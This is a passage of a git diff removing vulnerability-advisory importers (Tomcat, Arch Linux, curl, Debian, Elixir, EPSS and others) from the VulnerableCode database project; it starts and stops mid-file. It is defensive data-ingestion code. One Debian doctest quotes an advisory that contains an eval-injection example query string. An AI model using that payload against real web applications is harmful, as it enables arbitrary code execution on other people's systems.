"fixed_versions": self.fixed_versions, - "advisory_groups": advisory_groups_to_strings, - } - - -def extract_tomcat_advisory_data_from_page(apache_tomcat_advisory_html): - """ - Yield TomcatAdvisoryData from the HTML text ``apache_tomcat_advisory_html``. - """ - page_soup = BeautifulSoup(apache_tomcat_advisory_html, features="lxml") - # We're looking for headers -- one for each advisory -- like this: - #

2022-10-10 Fixed in Apache Tomcat 10.0.27

- pageh3s = page_soup.find_all("h3") - - # Include the 2 groups of not-fixed advisories. - fixed_header_substrings = ( - "Fixed in Apache Tomcat", - "Will not be fixed in Apache Tomcat 4.1.x", - "Not fixed in Apache Tomcat 3.x", - ) - fixed_version_headings = [ - heading - for heading in pageh3s - if any( - fixed_header_substring in heading.text - for fixed_header_substring in fixed_header_substrings - ) - ] - - for fixed_version_heading in fixed_version_headings: - fixed_versions = [] - fixed_version = "" - - # Include the 2 groups of not-fixed advisories. We report no value for those that won't be fixed. - if "Fixed in Apache Tomcat" in fixed_version_heading.text: - fixed_version = fixed_version_heading.text.split("Fixed in Apache Tomcat")[-1].strip() - elif "Will not be fixed in Apache Tomcat 4.1.x" in fixed_version_heading.text: - fixed_version = fixed_version_heading.text.split("Will not be fixed in Apache Tomcat")[ - -1 - ].strip() - elif "Not fixed in Apache Tomcat 3.x" in fixed_version_heading.text: - fixed_version = fixed_version_heading.text.split("Not fixed in Apache Tomcat")[ - -1 - ].strip() - - # We want to handle the occasional "and" in the fixed version headers, e.g., - #

5 September 2016 Fixed in Apache Tomcat 8.5.5 and 8.0.37

- if " and " in fixed_version: - fixed_versions = fixed_version.split(" and ") - else: - fixed_versions.append(fixed_version) - - # Each group of fixed-version-related data is contained in a div that immediately follows the h3 element, e.g., - #

8 November 2016 Fixed in Apache Tomcat 8.5.8

- #
...
- fixed_version_paras = fixed_version_heading.find_next_sibling("div") - - # See https://tomcat.apache.org/security-impact.html for scoring. - # Each advisory section starts with a

element, - # the text of which starts with, e.g., "Low:", so we look for these here, e.g., - #

Low: Apache Tomcat request smugglingCVE-2022-42252

- - severity_scores = ("Low:", "Moderate:", "Important:", "High:", "Critical:") - # A list of groups of paragraphs, each for a single Tomcat Advisory. - advisory_groups = [] - - for para in fixed_version_paras.find_all("p"): - current_group = [] - if para.text.startswith(severity_scores): - current_group.append(para) - - test_next_siblings = para.find_next_siblings() - for next_sibling in test_next_siblings: - if not next_sibling.text.startswith(severity_scores): - current_group.append(next_sibling) - elif next_sibling.text.startswith(severity_scores): - break - - advisory_groups.append(current_group) - - yield TomcatAdvisoryData( - fixed_versions=fixed_versions, - advisory_groups=advisory_groups, - fixed_version_heading_text=fixed_version_heading.text, - ) - - -def generate_advisory_data_objects(url, tomcat_advisory_data_object): - fixed_versions = tomcat_advisory_data_object.fixed_versions - severity_scores = ("Low:", "Moderate:", "Important:", "High:", "Critical:") - - for para_list in tomcat_advisory_data_object.advisory_groups: - affected_versions = [] - fixed_commit_list = [] - references = [] - cve_url_list = [] - for para in para_list: - if para.text.startswith("Affects:"): - formatted_affected_version_data = para.text.split(":")[-1].split(", ") - affected_versions.extend(formatted_affected_version_data) - elif "was fixed in" in para.text or "was fixed with" in para.text: - fixed_commit_list = para.find_all("a") - references.extend([ref_url["href"] for ref_url in fixed_commit_list]) - elif para.text.startswith(severity_scores): - cve_url_list = para.find_all("a") - cve_list = [cve_url.text for cve_url in cve_url_list] - severity_score = para.text.split(":")[0] - - for cve_url in cve_url_list: - aliases = [] - aliases.append(cve_url.text) - - severity_list = [] - severity_list.append( - VulnerabilitySeverity( - system=APACHE_TOMCAT, - value=severity_score, - scoring_elements="", - ) - ) - - # This is the 1st `corrective_data_mapping` key: - fixed_version_heading_text = tomcat_advisory_data_object.fixed_version_heading_text - - if (fixed_version_heading_text, cve_url.text) in corrective_data_mapping.keys(): - fixed_versions = corrective_data_mapping[fixed_version_heading_text, cve_url.text][ - "fixed_versions" - ] - affected_versions = corrective_data_mapping[ - fixed_version_heading_text, cve_url.text - ]["affected_versions"] - else: - pass - - affected_version_range_apache = to_version_ranges_apache( - affected_versions, - fixed_versions, - ) - - affected_version_range_maven = to_version_ranges_maven( - affected_versions, - fixed_versions, - ) - - references = [ - Reference( - url=f"https://cve.mitre.org/cgi-bin/cvename.cgi?name={cve_url.text}", - reference_id=cve_url.text, - severities=severity_list, - ), - ] - - for commit_url in fixed_commit_list: - references.append(Reference(url=commit_url["href"])) - - affected_packages = [] - - affected_packages.append( - AffectedPackage( - package=PackageURL( - type="apache", - name="tomcat", - ), - affected_version_range=affected_version_range_apache, - ) - ) - - affected_packages.append( - AffectedPackage( - package=PackageURL( - type="maven", - namespace="org.apache.tomcat", - name="tomcat", - ), - affected_version_range=affected_version_range_maven, - ) - ) - - yield AdvisoryData( - aliases=aliases, - summary="", - affected_packages=affected_packages, - references=references, - url=url, - ) - - -def to_version_ranges_apache(versions_data, fixed_versions): - constraints = [] - - VersionConstraintTuple = namedtuple("VersionConstraintTuple", ["comparator", "version"]) - affected_constraint_tuple_list = [] - fixed_constraint_tuple_list = [] - - for version_item in versions_data: - version_item = version_item.strip() - if "to" in version_item: - version_item_split = version_item.split(" ") - affected_constraint_tuple_list.append( - VersionConstraintTuple(">=", version_item_split[0]) - ) - affected_constraint_tuple_list.append( - VersionConstraintTuple("<=", version_item_split[-1]) - ) - - elif "-" in version_item: - version_item_split = version_item.split("-") - affected_constraint_tuple_list.append( - VersionConstraintTuple(">=", version_item_split[0]) - ) - affected_constraint_tuple_list.append( - VersionConstraintTuple("<=", version_item_split[-1]) - ) - - elif version_item.startswith("<"): - version_item_split = version_item.split("<") - affected_constraint_tuple_list.append( - VersionConstraintTuple("<", version_item_split[-1]) - ) - - else: - version_item_split = version_item.split(" ") - affected_constraint_tuple_list.append( - VersionConstraintTuple("=", version_item_split[0]) - ) - - for fixed_item in fixed_versions: - - if "-" in fixed_item and not any([i.isalpha() for i in fixed_item]): - fixed_item_split = fixed_item.split(" ") - fixed_constraint_tuple_list.append(VersionConstraintTuple(">=", fixed_item_split[0])) - fixed_constraint_tuple_list.append(VersionConstraintTuple("<=", fixed_item_split[-1])) - - else: - fixed_item_split = fixed_item.split(" ") - fixed_constraint_tuple_list.append(VersionConstraintTuple("=", fixed_item_split[0])) - - for record in affected_constraint_tuple_list: - try: - constraints.append( - VersionConstraint( - comparator=record.comparator, - version=SemverVersion(record.version), - ) - ) - except Exception as e: - LOGGER.error(f"{record.version!r} is not a valid SemverVersion {e!r}") - continue - - for record in fixed_constraint_tuple_list: - constraints.append( - VersionConstraint( - comparator=record.comparator, - version=SemverVersion(record.version), - ).invert() - ) - - return ApacheVersionRange(constraints=constraints) - - -def to_version_ranges_maven(versions_data, fixed_versions): - constraints = [] - - for version_item in versions_data: - version_item = version_item.strip() - if "to" in version_item: - version_item_split = version_item.split(" ") - - constraints.append( - VersionConstraint( - comparator=">=", - version=MavenVersion(version_item_split[0]), - ) - ) - constraints.append( - VersionConstraint( - comparator="<=", - version=MavenVersion(version_item_split[-1]), - ) - ) - - elif "-" in version_item: - version_item_split = version_item.split("-") - - constraints.append( - VersionConstraint( - comparator=">=", - version=MavenVersion(version_item_split[0]), - ) - ) - constraints.append( - VersionConstraint( - comparator="<=", - version=MavenVersion(version_item_split[-1]), - ) - ) - - elif version_item.startswith("<"): - version_item_split = version_item.split("<") - - constraints.append( - VersionConstraint( - comparator="<", - version=MavenVersion(version_item_split[-1]), - ) - ) - - else: - version_item_split = version_item.split(" ") - - constraints.append( - VersionConstraint( - comparator="=", - version=MavenVersion(version_item_split[0]), - ) - ) - - for fixed_item in fixed_versions: - - if "-" in fixed_item and not any([i.isalpha() for i in fixed_item]): - fixed_item_split = fixed_item.split(" ") - - constraints.append( - VersionConstraint( - comparator=">=", - version=MavenVersion(fixed_item_split[0]), - ).invert() - ) - constraints.append( - VersionConstraint( - comparator="<=", - version=MavenVersion(fixed_item_split[-1]), - ).invert() - ) - - else: - fixed_item_split = fixed_item.split(" ") - - constraints.append( - VersionConstraint( - comparator="=", - version=MavenVersion(fixed_item_split[0]), - ).invert() - ) - - return MavenVersionRange(constraints=constraints) diff --git a/vulnerabilities/importers/archlinux.py b/vulnerabilities/importers/archlinux.py deleted file mode 100644 index 640fb24dc..000000000 --- a/vulnerabilities/importers/archlinux.py +++ /dev/null @@ -1,99 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from typing import Iterable -from typing import List -from typing import Mapping - -from packageurl import PackageURL -from univers.version_range import ArchLinuxVersionRange -from univers.versions import ArchLinuxVersion - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.utils import fetch_response - - -class ArchlinuxImporter(Importer): - url = "https://security.archlinux.org/json" - spdx_license_expression = "MIT" - license_url = "https://github.com/archlinux/arch-security-tracker/blob/master/LICENSE" - importer_name = "Arch Linux Importer" - - def fetch(self) -> Iterable[Mapping]: - response = fetch_response(self.url) - return response.json() - - def advisory_data(self) -> Iterable[AdvisoryData]: - for record in self.fetch(): - yield from self.parse_advisory(record) - - def parse_advisory(self, record) -> List[AdvisoryData]: - advisories = [] - aliases = record.get("issues") or [] - for alias in aliases: - affected_packages = [] - for name in record["packages"]: - summary = record.get("type") or "" - if summary == "unknown": - summary = "" - affected = record.get("affected") or "" - affected_version_range = ( - ArchLinuxVersionRange.from_versions([affected]) if affected else None - ) - fixed = record.get("fixed") or "" - fixed_version = ArchLinuxVersion(fixed) if fixed else None - affected_packages = [] - affected_package = AffectedPackage( - package=PackageURL( - name=name, - type="alpm", - namespace="archlinux", - ), - affected_version_range=affected_version_range, - fixed_version=fixed_version, - ) - affected_packages.append(affected_package) - - references = [] - references.append( - Reference( - reference_id=record["name"], - url="https://security.archlinux.org/{}".format(record["name"]), - severities=[ - VulnerabilitySeverity( - system=severity_systems.ARCHLINUX, value=record["severity"] - ) - ], - ) - ) - - for ref in record["advisories"]: - references.append( - Reference( - reference_id=ref, - url="https://security.archlinux.org/{}".format(ref), - ) - ) - - advisories.append( - AdvisoryData( - aliases=[alias], - summary=summary, - affected_packages=affected_packages, - references=references, - url=f"https://security.archlinux.org/{record['name']}", - ) - ) - - return advisories diff --git a/vulnerabilities/importers/curl.py b/vulnerabilities/importers/curl.py deleted file mode 100644 index c74622b5b..000000000 --- a/vulnerabilities/importers/curl.py +++ /dev/null @@ -1,169 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from datetime import datetime -from datetime import timezone -from typing import Iterable -from typing import Mapping - -from cwe2.database import Database -from packageurl import PackageURL -from univers.version_range import GenericVersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import SCORING_SYSTEMS -from vulnerabilities.utils import fetch_response -from vulnerabilities.utils import get_cwe_id -from vulnerabilities.utils import get_item - -logger = logging.getLogger(__name__) - - -class CurlImporter(Importer): - - spdx_license_expression = "curl" - license_url = "https://curl.se/docs/copyright.html" - repo_url = "https://github.com/curl/curl-www/" - importer_name = "Curl Importer" - api_url = "https://curl.se/docs/vuln.json" - - def fetch(self) -> Iterable[Mapping]: - response = fetch_response(self.api_url) - return response.json() - - def advisory_data(self) -> Iterable[AdvisoryData]: - raw_data = self.fetch() - for data in raw_data: - cve_id = data.get("aliases") or [] - cve_id = cve_id[0] if len(cve_id) > 0 else None - if not cve_id.startswith("CVE"): - package = data.get("database_specific").get("package") - logger.error(f"Invalid CVE ID: {cve_id} in package {package}") - continue - yield parse_advisory_data(data) - - -def parse_advisory_data(raw_data) -> AdvisoryData: - """ - Parse advisory data from raw JSON data and return an AdvisoryData object. - - Args: - raw_data (dict): Raw JSON data containing advisory information. - - Returns: - AdvisoryData: Parsed advisory data as an AdvisoryData object. - - Example: - >>> raw_data = { - ... "aliases": ["CVE-2024-2379"], - ... "summary": "QUIC certificate check bypass with wolfSSL", - ... "database_specific": { - ... "package": "curl", - ... "URL": "https://curl.se/docs/CVE-2024-2379.json", - ... "www": "https://curl.se/docs/CVE-2024-2379.html", - ... "issue": "https://hackerone.com/reports/2410774", - ... "severity": "Low", - ... "CWE": { - ... "id": "CWE-297", - ... "desc": "Improper Validation of Certificate with Host Mismatch" - ... }, - ... }, - ... "published": "2024-03-27T08:00:00.00Z", - ... "affected": [ - ... { - ... "ranges": [ - ... { - ... "type": "SEMVER", - ... "events": [ - ... {"introduced": "8.6.0"}, - ... {"fixed": "8.7.0"} - ... ] - ... } - ... ], - ... "versions": ["8.6.0"] - ... } - ... ] - ... } - >>> parse_advisory_data(raw_data) - AdvisoryData(aliases=['CVE-2024-2379'], summary='QUIC certificate check bypass with wolfSSL', affected_packages=[AffectedPackage(package=PackageURL(type='generic', namespace='curl.se', name='curl', version=None, qualifiers={}, subpath=None), affected_version_range=GenericVersionRange(constraints=(VersionConstraint(comparator='=', version=SemverVersion(string='8.6.0')),)), fixed_version=SemverVersion(string='8.7.0'))], references=[Reference(reference_id='', reference_type='', url='https://curl.se/docs/CVE-2024-2379.html', severities=[VulnerabilitySeverity(system=Cvssv3ScoringSystem(identifier='cvssv3.1', name='CVSSv3.1 Base Score', url='https://www.first.org/cvss/v3-1/', notes='CVSSv3.1 base score and vector'), value='Low', scoring_elements='', published_at=None, url=None)]), Reference(reference_id='', reference_type='', url='https://hackerone.com/reports/2410774', severities=[])], date_published=datetime.datetime(2024, 3, 27, 8, 0, tzinfo=datetime.timezone.utc), weaknesses=[297], url='https://curl.se/docs/CVE-2024-2379.json') - """ - - affected = get_item(raw_data, "affected")[0] if len(get_item(raw_data, "affected")) > 0 else [] - - ranges = get_item(affected, "ranges")[0] if len(get_item(affected, "ranges")) > 0 else [] - events = get_item(ranges, "events")[1] if len(get_item(ranges, "events")) > 1 else {} - version_type = get_item(ranges, "type") if get_item(ranges, "type") else "" - fixed_version = events.get("fixed") - if version_type == "SEMVER" and fixed_version: - fixed_version = SemverVersion(fixed_version) - - purl = PackageURL(type="generic", namespace="curl.se", name="curl") - versions = affected.get("versions") or [] - affected_version_range = GenericVersionRange.from_versions(versions) - - affected_package = AffectedPackage( - package=purl, affected_version_range=affected_version_range, fixed_version=fixed_version - ) - - database_specific = raw_data.get("database_specific") or {} - severity = VulnerabilitySeverity( - system=SCORING_SYSTEMS["cvssv3.1"], value=database_specific.get("severity", "") - ) - - references = [] - ref_www = database_specific.get("www") or "" - ref_issue = database_specific.get("issue") or "" - if ref_www: - references.append(Reference(url=ref_www, severities=[severity])) - if ref_issue: - references.append(Reference(url=ref_issue)) - - date_published = datetime.strptime( - raw_data.get("published") or "", "%Y-%m-%dT%H:%M:%S.%fZ" - ).replace(tzinfo=timezone.utc) - weaknesses = get_cwe_from_curl_advisory(raw_data) - - return AdvisoryData( - aliases=raw_data.get("aliases") or [], - summary=raw_data.get("summary") or "", - affected_packages=[affected_package], - references=references, - date_published=date_published, - weaknesses=weaknesses, - url=raw_data.get("database_specific", {}).get("URL", ""), - ) - - -def get_cwe_from_curl_advisory(raw_data): - """ - Extracts CWE IDs from the given raw_data and returns a list of CWE IDs. - - >>> get_cwe_from_curl_advisory({"database_specific": {"CWE": {"id": "CWE-333"}}}) - [333] - >>> get_cwe_from_curl_advisory({"database_specific": {"CWE": {"id": ""}}}) - [] - """ - weaknesses = [] - db = Database() - cwe_string = get_item(raw_data, "database_specific", "CWE", "id") or "" - - if cwe_string: - cwe_id = get_cwe_id(cwe_string) - try: - db.get(cwe_id) - weaknesses.append(cwe_id) - except Exception: - logger.error("Invalid CWE id") - return weaknesses diff --git a/vulnerabilities/importers/debian.py b/vulnerabilities/importers/debian.py deleted file mode 100644 index 7d1ae2071..000000000 --- a/vulnerabilities/importers/debian.py +++ /dev/null @@ -1,182 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -import re -from typing import Any -from typing import Iterable -from typing import List -from typing import Mapping - -import requests -from cwe2.database import Database -from packageurl import PackageURL -from univers.version_range import DebianVersionRange -from univers.versions import DebianVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import create_weaknesses_list -from vulnerabilities.utils import dedupe -from vulnerabilities.utils import get_item - -logger = logging.getLogger(__name__) - - -class DebianImporter(Importer): - - spdx_license_expression = "LicenseRef-scancode-other-permissive" - license_url = "https://www.debian.org/license" - notice = """ - From: Tushar Goel - Date: Thu, May 12, 2022 at 11:42 PM +00:00 - Subject: Usage of Debian Security Data in VulnerableCode - To: - - Hey, - - We would like to integrate the debian security data in vulnerablecode - [1][2] which is a FOSS db of FOSS vulnerability data. We were not able - to know under which license the debian security data comes. We would - be grateful to have your acknowledgement over usage of the debian - security data in vulnerablecode and have some kind of licensing - declaration from your side. - - [1] - https://github.com/nexB/vulnerablecode - [2] - https://github.com/nexB/vulnerablecode/pull/723 - - Regards, - - From: Moritz Mühlenhoff - Date: Wed, May 17, 2022, 19:12 PM +00:00 - Subject: Re: Usage of Debian Security Data in VulnerableCode - To: Tushar Goel - Cc: - - - Am Thu, May 12, 2022 at 05:12:48PM +0530 schrieb Tushar Goel: - > Hey, - > - > We would like to integrate the debian security data in vulnerablecode - > [1][2] which is a FOSS db of FOSS vulnerability data. We were not able - > to know under which license the debian security data comes. We would - > be grateful to have your acknowledgement over usage of the debian - > security data in vulnerablecode and have some kind of licensing - > declaration from your side. - - We don't have a specific license, but you have our endorsemen to - reuse the data by all means :-) - - Cheers, - Moritz - """ - - api_url = "https://security-tracker.debian.org/tracker/data/json" - importer_name = "Debian Importer" - - def get_response(self): - response = requests.get(self.api_url) - if response.status_code == 200: - return response.json() - raise Exception( - f"Failed to fetch data from {self.api_url!r} with status code: {response.status_code!r}" - ) - - def advisory_data(self) -> Iterable[AdvisoryData]: - response = self.get_response() - for pkg_name, records in response.items(): - yield from self.parse(pkg_name, records) - - def parse(self, pkg_name: str, records: Mapping[str, Any]) -> Iterable[AdvisoryData]: - - for cve_id, record in records.items(): - affected_versions = [] - fixed_versions = [] - if not cve_id.startswith("CVE"): - logger.error(f"Invalid CVE ID: {cve_id} in {record} in package {pkg_name}") - continue - - # vulnerabilities starting with something else may not be public yet - # see for instance https://web.archive.org/web/20201215213725/https://security-tracker.debian.org/tracker/TEMP-0000000-A2EB44 - # TODO: this would need to be revisited though to ensure we are not missing out on anything - # https://github.com/nexB/vulnerablecode/issues/730 - - releases = record["releases"].items() - for release_name, release_record in releases: - version = get_item(release_record, "repositories", release_name) - - if not version: - logger.error( - f"Version not found for {release_name} in {record} in package {pkg_name}" - ) - continue - - purl = PackageURL( - name=pkg_name, - type="deb", - namespace="debian", - qualifiers={"distro": release_name}, - ) - - if release_record.get("status", "") == "resolved": - fixed_versions.append(version) - else: - affected_versions.append(version) - - if "fixed_version" in release_record: - fixed_versions.append(release_record["fixed_version"]) - - references = [] - debianbug = record.get("debianbug") - if debianbug: - bug_url = f"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug={debianbug}" - references.append(Reference(url=bug_url, reference_id=str(debianbug))) - affected_versions = dedupe(affected_versions) - fixed_versions = dedupe(fixed_versions) - if affected_versions: - affected_version_range = DebianVersionRange.from_versions(affected_versions) - else: - affected_version_range = None - affected_packages = [] - for fixed_version in fixed_versions: - affected_packages.append( - AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - fixed_version=DebianVersion(fixed_version), - ) - ) - weaknesses = get_cwe_from_debian_advisory(record) - - yield AdvisoryData( - aliases=[cve_id], - summary=record.get("description", ""), - affected_packages=affected_packages, - references=references, - weaknesses=weaknesses, - url=self.api_url, - ) - - -def get_cwe_from_debian_advisory(record): - """ - Extracts CWE ID strings from the given raw_data and returns a list of CWE IDs. - - >>> get_cwe_from_debian_advisory({"description":"PEAR HTML_QuickForm version 3.2.14 contains an eval injection (CWE-95) vulnerability in HTML_QuickForm's getSubmitValue method, HTML_QuickForm's validate method, HTML_QuickForm_hierselect's _setOptions method, HTML_QuickForm_element's _findValue method, HTML_QuickForm_element's _prepareValue method. that can result in Possible information disclosure, possible impact on data integrity and execution of arbitrary code. This attack appear to be exploitable via A specially crafted query string could be utilised, e.g. http://www.example.com/admin/add_practice_type_id[1]=fubar%27])%20OR%20die(%27OOK!%27);%20//&mode=live. This vulnerability appears to have been fixed in 3.2.15."}) - [95] - >>> get_cwe_from_debian_advisory({"description":"There is no WEAKNESS DATA"}) - [] - """ - description = record.get("description") or "" - pattern = r"CWE-\d+" - cwe_strings = re.findall(pattern, description) - weaknesses = create_weaknesses_list(cwe_strings) - return weaknesses diff --git a/vulnerabilities/importers/debian_oval.py b/vulnerabilities/importers/debian_oval.py deleted file mode 100644 index f5a747a11..000000000 --- a/vulnerabilities/importers/debian_oval.py +++ /dev/null @@ -1,76 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import bz2 -import xml.etree.ElementTree as ET - -import requests - -from vulnerabilities.importer import OvalImporter - - -class DebianOvalImporter(OvalImporter): - - spdx_license_expression = "LicenseRef-scancode-other-permissive" - license_url = "https://www.debian.org/license" - notice = """ - From: Tushar Goel - Date: Thu, May 12, 2022 at 11:42 PM +00:00 - Subject: Usage of Debian Security Data in VulnerableCode - To: - Hey, - We would like to integrate the debian security data in vulnerablecode - [1][2] which is a FOSS db of FOSS vulnerability data. We were not able - to know under which license the debian security data comes. We would - be grateful to have your acknowledgement over usage of the debian - security data in vulnerablecode and have some kind of licensing - declaration from your side. - [1] - https://github.com/nexB/vulnerablecode - [2] - https://github.com/nexB/vulnerablecode/pull/723 - Regards, - From: Moritz Mühlenhoff - Date: Wed, May 17, 2022, 19:12 PM +00:00 - Subject: Re: Usage of Debian Security Data in VulnerableCode - To: Tushar Goel - Cc: - Am Thu, May 12, 2022 at 05:12:48PM +0530 schrieb Tushar Goel: - > Hey, - > - > We would like to integrate the debian security data in vulnerablecode - > [1][2] which is a FOSS db of FOSS vulnerability data. We were not able - > to know under which license the debian security data comes. We would - > be grateful to have your acknowledgement over usage of the debian - > security data in vulnerablecode and have some kind of licensing - > declaration from your side. - We don't have a specific license, but you have our endorsemen to - reuse the data by all means :-) - Cheers, - Moritz - """ - importer_name = "Debian Oval Importer" - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - # we could avoid setting translations, and have it - # set by default in the OvalParser, but we don't yet know - # whether all OVAL providers use the same format - self.translations = {"less than": "<"} - - def _fetch(self): - releases = ["wheezy", "stretch", "jessie", "buster", "bullseye"] - for release in releases: - file_url = f"https://www.debian.org/security/oval/oval-definitions-{release}.xml.bz2" - self.data_url = file_url - resp = requests.get(file_url).content - extracted = bz2.decompress(resp) - yield ( - {"type": "deb", "namespace": "debian", "qualifiers": {"distro": release}}, - ET.ElementTree(ET.fromstring(extracted.decode("utf-8"))), - ) diff --git a/vulnerabilities/importers/elixir_security.py b/vulnerabilities/importers/elixir_security.py deleted file mode 100644 index 3fe0ec15b..000000000 --- a/vulnerabilities/importers/elixir_security.py +++ /dev/null @@ -1,115 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import urllib.parse as urlparse -from pathlib import Path -from typing import Set - -from dateutil import parser as dateparser -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import HexVersionRange - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import is_cve -from vulnerabilities.utils import load_yaml - - -class ElixirSecurityImporter(Importer): - - repo_url = "git+https://github.com/dependabot/elixir-security-advisories" - license_url = "https://github.com/dependabot/elixir-security-advisories/blob/master/LICENSE.txt" - spdx_license_expression = "CC0-1.0" - importer_name = "Elixir Security Importer" - - def advisory_data(self) -> Set[AdvisoryData]: - try: - self.clone(self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - vuln = base_path / "packages" - for file in vuln.glob("**/*.yml"): - yield from self.process_file(file, base_path) - finally: - if self.vcs_response: - self.vcs_response.delete() - - def process_file(self, file, base_path): - relative_path = str(file.relative_to(base_path)).strip("/") - advisory_url = ( - f"https://github.com/dependabot/elixir-security-advisories/blob/master/{relative_path}" - ) - file = str(file) - yaml_file = load_yaml(file) - cve_id = "" - summary = yaml_file.get("description") or "" - pkg_name = yaml_file.get("package") or "" - - cve = yaml_file.get("cve") or "" - - if cve and not cve.startswith("CVE-"): - cve_id = f"CVE-{cve}" - - if not cve_id: - return [] - - if not is_cve(cve_id): - return [] - - references = [] - link = yaml_file.get("link") or "" - if link: - references.append( - Reference( - url=link, - ) - ) - - affected_packages = [] - - unaffected_versions = yaml_file.get("unaffected_versions") or [] - patched_versions = yaml_file.get("patched_versions") or [] - - constraints = [] - vrc = HexVersionRange.version_class - - for version in unaffected_versions: - constraints.append(VersionConstraint.from_string(version_class=vrc, string=version)) - - for version in patched_versions: - if version.startswith("~>"): - version = version[2:] - constraints.append( - VersionConstraint.from_string(version_class=vrc, string=version).invert() - ) - - if pkg_name: - affected_packages.append( - AffectedPackage( - package=PackageURL( - type="hex", - name=pkg_name, - ), - affected_version_range=HexVersionRange(constraints=constraints), - ) - ) - - date_published = None - if yaml_file.get("disclosure_date"): - date_published = dateparser.parse(yaml_file.get("disclosure_date")) - - yield AdvisoryData( - aliases=[cve_id], - summary=summary, - references=references, - affected_packages=affected_packages, - url=advisory_url, - date_published=date_published, - ) diff --git a/vulnerabilities/importers/epss.py b/vulnerabilities/importers/epss.py deleted file mode 100644 index 982229e09..000000000 --- a/vulnerabilities/importers/epss.py +++ /dev/null @@ -1,67 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import csv -import gzip -import logging -import urllib.request -from datetime import datetime -from typing import Iterable - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity - -logger = logging.getLogger(__name__) - - -class EPSSImporter(Importer): - """Exploit Prediction Scoring System (EPSS) Importer""" - - advisory_url = "https://epss.cyentia.com/epss_scores-current.csv.gz" - spdx_license_expression = "unknown" - importer_name = "EPSS Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - response = urllib.request.urlopen(self.advisory_url) - with gzip.open(response, "rb") as f: - lines = [l.decode("utf-8") for l in f.readlines()] - - epss_reader = csv.reader(lines) - model_version, score_date = next( - epss_reader - ) # score_date='score_date:2024-05-19T00:00:00+0000' - published_at = datetime.strptime(score_date[11::], "%Y-%m-%dT%H:%M:%S%z") - - next(epss_reader) # skip the header row - for epss_row in epss_reader: - cve, score, percentile = epss_row - - if not cve or not score or not percentile: - logger.error(f"Invalid epss row: {epss_row}") - continue - - severity = VulnerabilitySeverity( - system=severity_systems.EPSS, - value=score, - scoring_elements=percentile, - published_at=published_at, - ) - - references = Reference( - url=f"https://api.first.org/data/v1/epss?cve={cve}", - severities=[severity], - ) - - yield AdvisoryData( - aliases=[cve], - references=[references], - url=self.advisory_url, - ) diff --git a/vulnerabilities/importers/fireeye.py b/vulnerabilities/importers/fireeye.py deleted file mode 100644 index 404f2d367..000000000 --- a/vulnerabilities/importers/fireeye.py +++ /dev/null @@ -1,166 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import logging -import re -from pathlib import Path -from typing import Iterable -from typing import List - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import build_description -from vulnerabilities.utils import create_weaknesses_list -from vulnerabilities.utils import cwe_regex -from vulnerabilities.utils import dedupe - -logger = logging.getLogger(__name__) - - -class FireyeImporter(Importer): - spdx_license_expression = 